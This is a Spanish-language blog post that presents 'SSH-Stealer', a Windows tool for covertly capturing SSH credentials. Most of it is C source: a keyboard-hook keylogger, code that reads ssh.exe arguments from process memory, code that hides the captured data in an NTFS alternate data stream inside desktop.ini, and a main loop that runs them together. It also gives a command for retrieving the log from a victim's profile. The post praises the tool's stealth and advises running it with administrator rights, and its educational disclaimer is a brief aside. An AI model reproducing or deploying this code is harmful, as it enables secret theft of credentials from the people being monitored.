SSH-Stealer: Keylogging en Windows con ADS y Hooking

Hoy vamos a hablar de una técnica avanzada para capturar credenciales SSH en Windows de forma bastante sigilosa y sin dejar rastros evidentes.

Para ello, vamos a analizar SSH-Stealer, una herramienta de DarkSpaceSecurity que combina keylogging, detección de procesos y almacenamiento en ADS (Alternate Data Streams).

IMPORTANTE: Esto es con fines educativos. Tampoco me hago responsable si terminas en un exótico foro de hacking vendiendo credenciales.

SSH-Stealer está diseñado para interceptar credenciales SSH en sistemas Windows. Su funcionamiento se basa en tres técnicas clave:

1. Hooking del teclado → Captura pulsaciones de teclas en tiempo real.
2. Detección de procesos → Identifica cuándo se ejecuta ssh.exe y extrae argumentos.
3. Uso de Alternate Data Streams (ADS) → Almacena las credenciales de manera oculta en el sistema de archivos NTFS.

Veamos en detalle cómo funciona cada uno de estos elementos.

Hooking del teclado: Robando contraseñas en tiempo real

SSH-Stealer utiliza SetWindowsHookEx() para interceptar las pulsaciones del usuario. Cada tecla presionada es analizada y almacenada en un buffer.

Aquí está la función clave del keylogger:

LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= HC_ACTION && shouldLog) {
        PKBDLLHOOKSTRUCT kbdStruct = (PKBDLLHOOKSTRUCT)lParam;
        int vkCode = kbdStruct->vkCode;
        BOOL shiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0;

        if (wParam == WM_KEYDOWN) {
            char buffer[20] = { 0 };
            if (vkCode >= 0x41 && vkCode <= 0x5A) { 
                sprintf_s(buffer, sizeof(buffer), "%c", shiftPressed ? vkCode : vkCode + 0x20);
            } else if (vkCode == VK_RETURN) {
                strcpy_s(buffer, sizeof(buffer), "\n");
            }
            appendToGlobalBuffer(buffer);
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
} 

• Intercepta teclas antes de que lleguen a las aplicaciones.
• Filtra caracteres importantes, incluyendo letras y Enter.
• Almacena los datos en un buffer global sin levantar sospechas.

Este método es rápido, eficiente y casi indetectable para un usuario promedio.

Monitorización de procesos SSH

Además del keylogger, SSH-Stealer detecta cuando el usuario ejecuta SSH desde la terminal. La herramienta monitoriza los procesos en ejecución y busca ssh.exe. Si se encuentra, extrae los argumentos pasados.

Aquí está la función encargada de analizar los parámetros de SSH:

int GetCommandLineByPID(DWORD pid) {
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
    if (!hProcess) return -1;

    _NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
    PROCESS_BASIC_INFORMATION pbi;
    NTSTATUS status = NtQueryInformationProcess(hProcess, 0, &pbi, sizeof(pbi), NULL);

    if (status != 0) {
        CloseHandle(hProcess);
        return -1;
    }

    WCHAR* commandLine = (WCHAR*)malloc(1024);
    ReadProcessMemory(hProcess, pbi.PebBaseAddress, commandLine, 1024, NULL);

    int argc;
    LPWSTR* argv = CommandLineToArgvW(commandLine, &argc);
    
    for (int i = 0; i < argc; i++) {
        if (wcscmp(argv[i], L"-i") == 0 && (i + 1 < argc)) {
            WriteREDToADS("Uso de clave privada detectado!\n");
            return 1;
        }
    }

    return 0;
}

¿Qué hace esta función?

• Abre el proceso de SSH y extrae su línea de comandos.
• Busca argumentos sensibles como -i (que indica autenticación con clave privada).
• Registra los datos en un flujo de ADS, escondiendo la evidencia.

Este método es brutalmente efectivo para capturar credenciales sin necesidad de modificar el binario de SSH.

Escondiendo credenciales en Alternate Data Streams (ADS)

Los ADS en NTFS permiten ocultar información dentro de archivos sin modificar su tamaño visible. SSH-Stealer aprovecha esto para guardar credenciales sin ser detectado.

El siguiente código escribe datos capturados en un ADS dentro de desktop.ini:

void WriteToADS(const char* data) {
    HANDLE hFile = CreateFileA(ADS_FILE_PATH, FILE_APPEND_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE) {
        DWORD bytesWritten;
        WriteFile(hFile, data, strlen(data), &bytesWritten, NULL);
        CloseHandle(hFile);
    }
}

1. Los archivos ocultos en ADS no aparecen en el Explorador de Windows.
2. El tamaño del archivo principal no cambia, evitando sospechas.
3. Solo herramientas avanzadas pueden detectarlo, como dir /r.

Para recuperar los datos ocultos, simplemente ejecutamos:

notepad C:\Users\victima\desktop.ini:hidden.log

¡Boom! Credenciales expuesta sin dejar rastro visible.

¿Cómo ejecutarlo?

SSH-Stealer corre de forma persistente en segundo plano, esperando a que el usuario utilice SSH.

El flujo de ejecución es simple:

int main() {
    InitializeADSPath();
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorProcess, NULL, 0, NULL);

    HHOOK kbdHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProc, GetModuleHandle(NULL), 0);
    if (!kbdHook) return 1;

    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    UnhookWindowsHookEx(kbdHook);
    return 0;
}

Nota: Se recomienda compilarlo con Visual Studio y ejecutarlo con privilegios administrativos para máxima efectividad.

Demo

En conclusión SSH-Stealer es una herramienta sencilla poderosa que demuestra lo fácil que es robar credenciales SSH en Windows sin ser detectado. La combinación de keylogging, monitorización de procesos y ADS lo hace extremadamente sigiloso.

Puedes descargar SSH-Stealer desde GitHub y analizar su código aquí: